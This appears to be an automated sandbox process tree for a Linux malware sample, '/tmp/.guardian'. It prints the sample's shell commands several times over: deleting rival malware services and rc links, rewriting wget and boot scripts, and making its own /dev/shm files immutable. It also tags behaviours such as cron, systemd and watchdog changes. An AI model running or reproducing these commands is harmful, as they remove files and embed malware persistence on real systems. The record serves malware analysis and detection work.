                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                PID:1243
                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:1244
                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:1245
                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:1246
                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1247
                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:1248
                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:1249
                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1250
                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:1251
                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                PID:1334
                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                  chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                  PID:1335
                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                  rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:1336
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:1337
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:1338
                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:1339
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:1340
                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                          sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                          PID:1341
                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                            rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:1342
                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                              rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:1343
                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:1344
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                  rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1345
                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1346
                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1347
                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1348
                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                          chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                          PID:1349
                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                        PID:1430
                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                          PID:1431
                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1432
                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1433
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1434
                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1435
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1436
                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                  PID:1437
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                    rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1438
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                      rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1439
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1440
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                          rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:1441
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1442
                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:1443
                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:1444
                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1445
                                                                                                                                                                                                                                                                                                                                                                              • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                • Checks hardware identifiers (DMI)
                                                                                                                                                                                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                • Reads MAC address of network interface
                                                                                                                                                                                                                                                                                                                                                                                • Reads hardware information
                                                                                                                                                                                                                                                                                                                                                                                • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                PID:877
                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                  PID:894
                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                    PID:895
                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:896
                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:897
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:898
                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:899
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:900
                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                            PID:901
                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:902
                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:903
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:904
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:905
                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:906
                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:907
                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:908
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                            PID:909
                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1012
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                            chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1013
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1014
                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1015
                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1016
                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1017
                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1018
                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1019
                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1020
                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1021
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1022
                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1023
                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1024
                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1025
